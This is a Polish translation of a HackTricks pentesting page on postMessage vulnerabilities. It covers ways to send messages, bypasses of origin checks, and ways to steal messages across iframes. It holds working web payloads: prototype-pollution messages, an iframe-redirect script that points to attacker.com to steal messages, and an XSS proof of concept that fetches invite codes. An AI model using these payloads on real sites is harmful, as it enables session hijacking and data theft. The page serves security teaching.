hacktricks/pentesting-web/postmessage-vulnerabilities
2024-04-07 00:09:03 +00:00
..
blocking-main-page-to-steal-postmessage.md Translated to Polish 2024-02-11 01:46:25 +00:00
bypassing-sop-with-iframes-1.md Translated to Polish 2024-02-11 01:46:25 +00:00
bypassing-sop-with-iframes-2.md Translated to Polish 2024-02-11 01:46:25 +00:00
README.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA 2024-04-07 00:09:03 +00:00
steal-postmessage-modifying-iframe-location.md Translated to Polish 2024-02-11 01:46:25 +00:00

Luki PostMessage

Luki PostMessage

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Wyślij PostMessage

PostMessage używa następującej funkcji do wysyłania wiadomości:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

Zauważ, że targetOrigin może być '*' lub adresem URL, na przykład https://company.com.
W drugim scenariuszu wiadomość może być wysłana tylko do tego domeny (nawet jeśli pochodzenie obiektu okna jest inne).
Jeśli używany jest znak wieloznaczny, wiadomości mogą być wysyłane do dowolnej domeny, i zostaną wysłane do pochodzenia obiektu Window.

Atakowanie iframe i znaku wieloznacznego w targetOrigin

Jak wyjaśniono w tym raporcie, jeśli znajdziesz stronę, która może być osadzona w iframe (bez ochrony X-Frame-Header) i która wysyła wrażliwą wiadomość za pomocą postMessage używając znaku wieloznacznego (*), możesz zmodyfikować pochodzenie iframe i ujawnić wrażliwą wiadomość do domeny kontrolowanej przez Ciebie.
Zauważ, że jeśli strona może być osadzona w iframe, ale targetOrigin jest ustawiony na adres URL, a nie na znak wieloznaczny, ten sztuczka nie zadziała.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

Wykorzystanie addEventListener

addEventListener to funkcja używana przez JS do zadeklarowania funkcji, która oczekuje na postMessages.
Zostanie użyty kod podobny do poniższego:

window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;

// ...
}, false);

Zauważ w tym przypadku, jak pierwszą rzeczą, którą robi kod, jest sprawdzenie pochodzenia. Jest to niezwykle ważne, głównie jeśli strona ma wykonać jakiekolwiek czynności wymagające uwagi w otrzymanych informacjach (np. zmiana hasła). Jeśli nie sprawdzi się pochodzenia, atakujący mogą zmusić ofiary do wysłania dowolnych danych do tych punktów końcowych i zmienić hasła ofiar (w tym przykładzie).

Wyliczanie

Aby znaleźć nasłuchiwaczy zdarzeń na bieżącej stronie, można:

  • Przeszukać kod JS w poszukiwaniu window.addEventListener i $(window).on (wersja JQuery)
  • Wykonać w konsoli narzędzi deweloperskich: getEventListeners(window)

  • Przejdź do Elementy --> Nasłuchiwacze zdarzeń w narzędziach deweloperskich przeglądarki

Ominięcia sprawdzania pochodzenia

  • Atrybut event.isTrusted jest uważany za bezpieczny, ponieważ zwraca True tylko dla zdarzeń generowanych przez autentyczne działania użytkownika. Chociaż jego poprawne zaimplementowanie może być wyzwaniem do ominięcia, jego znaczenie w kontekście kontroli bezpieczeństwa jest znaczące.
  • Użycie indexOf() do walidacji pochodzenia w zdarzeniach PostMessage może być podatne na ominięcie. Przykład ilustrujący tę podatność to:
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
  • Metoda search() z String.prototype.search() jest przeznaczona do wyrażeń regularnych, a nie do ciągów znaków. Przekazanie czegoś innego niż wyrażenie regularne prowadzi do konwersji domyślnej na wyrażenie regularne, co może sprawić, że metoda będzie potencjalnie nieskuteczna. Dzieje się tak, ponieważ w wyrażeniach regularnych kropka (.) działa jako symbol wieloznaczny, umożliwiając ominięcie walidacji przy specjalnie spreparowanych domenach. Na przykład:
"https://www.safedomain.com".search("www.s.fedomain.com")
  • Funkcja match(), podobnie jak search(), przetwarza wyrażenia regularne. Jeśli wyrażenie regularne jest nieprawidłowo zbudowane, może być podatne na ominięcie.

  • Funkcja escapeHtml ma na celu oczyszczenie wejść poprzez unikanie znaków. Jednakże nie tworzy nowego obiektu unikniętego, ale nadpisuje właściwości istniejącego obiektu. To zachowanie może być wykorzystane. W szczególności, jeśli obiekt można manipulować w taki sposób, że jego kontrolowana właściwość nie uznaje hasOwnProperty, escapeHtml nie będzie działać zgodnie z oczekiwaniami. Przedstawiono to na poniższych przykładach:

  • Oczekiwane niepowodzenie:

result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
  • Ominięcie unikania:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

W kontekście tej podatności obiekt File jest szczególnie podatny ze względu na swoją tylko do odczytu właściwość name. Ta właściwość, gdy jest używana w szablonach, nie jest oczyszczana przez funkcję escapeHtml, co prowadzi do potencjalnych zagrożeń dla bezpieczeństwa.

  • Właściwość document.domain w JavaScript może być ustawiona przez skrypt w celu skrócenia domeny, co pozwala na bardziej elastyczną egzekucję polityki tego samego pochodzenia w obrębie tej samej domeny nadrzędnej.

Ominięcie e.origin == window.origin

Podczas osadzania strony internetowej w zabezpieczonym iframe za pomocą %%%%%%, istotne jest zrozumienie, że pochodzenie iframu zostanie ustawione na null. Jest to szczególnie istotne przy korzystaniu z atrybutów sandbox i ich wpływu na bezpieczeństwo i funkcjonalność.

Poprzez określenie allow-popups w atrybucie sandbox, każde okno popup otwarte z iframu dziedziczy ograniczenia sandboxa swojego rodzica. Oznacza to, że chyba że atrybut allow-popups-to-escape-sandbox jest również uwzględniony, pochodzenie okna popup jest również ustawione na null, zgodnie z pochodzeniem iframu.

W rezultacie, gdy otwarte są okna popup w tych warunkach i wiadomość jest wysyłana z iframu do popupu za pomocą postMessage, zarówno nadawca, jak i odbiorca mają swoje pochodzenia ustawione na null. Ta sytuacja prowadzi do scenariusza, w którym e.origin == window.origin jest prawdziwe (null == null), ponieważ zarówno iframe, jak i popup mają taką samą wartość pochodzenia null.

Aby uzyskać więcej informacji, przeczytaj:

{% content-ref url="bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}

Ominięcie e.source

Możliwe jest sprawdzenie, czy wiadomość pochodzi z tego samego okna, w którym skrypt nasłuchuje (szczególnie interesujące dla Skryptów zawartości z rozszerzeń przeglądarki w celu sprawdzenia, czy wiadomość została wysłana z tej samej strony):

// If its not, return immediately.
if( received_message.source !== window ) {
return;
}

Możesz zmusić e.source wiadomości do bycia nullem, tworząc iframe, który wysyła postMessage i jest natychmiast usuwany.

Aby uzyskać więcej informacji, przeczytaj:

{% content-ref url="bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}

Bypass nagłówka X-Frame

Aby przeprowadzić te ataki, idealnie byłoby umieścić stronę ofiary w iframe. Jednak niektóre nagłówki, takie jak X-Frame-Header, mogą zapobiec temu zachowaniu.
W takich scenariuszach nadal można użyć mniej dyskretnego ataku. Można otworzyć nową kartę do podatnej aplikacji internetowej i komunikować się z nią:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

Kradzież wiadomości wysłanej do dziecka poprzez zablokowanie głównej strony

Na poniższej stronie możesz zobaczyć, jak można ukraść wrażliwe dane postmessage wysłane do dziecięcego iframe'a, blokując główną stronę przed wysłaniem danych i wykorzystując XSS w dziecku, aby wyciec dane przed ich otrzymaniem:

{% content-ref url="blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}

Kradzież wiadomości poprzez modyfikację lokalizacji iframe'a

Jeśli możesz osadzić stronę internetową bez nagłówka X-Frame-Options, która zawiera inny iframe, możesz zmienić lokalizację tego dzieckowego iframe'a, więc jeśli odbiera on postmessage wysłany za pomocą gwiazdki, atakujący może zmienić pochodzenie tego iframe'a na stronę kontrolowaną przez niego i ukraść wiadomość:

{% content-ref url="steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}

postMessage do Zanieczyszczenia Prototypu i/lub XSS

W scenariuszach, gdzie dane wysyłane za pomocą postMessage są wykonywane przez JS, możesz osadzić stronę i wykorzystać zanieczyszczenie prototypu/XSS, wysyłając exploit za pomocą postMessage.

Kilka bardzo dobrze wyjaśnionych XSS poprzez postMessage można znaleźć pod adresem https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html

Przykład exploitu do wykorzystania Zanieczyszczenia Prototypu, a następnie XSS poprzez postMessage do iframe'a:

<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}

setTimeout(get_code, 2000);
</script>
</body>
</html>

Dla więcej informacji:

Referencje

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: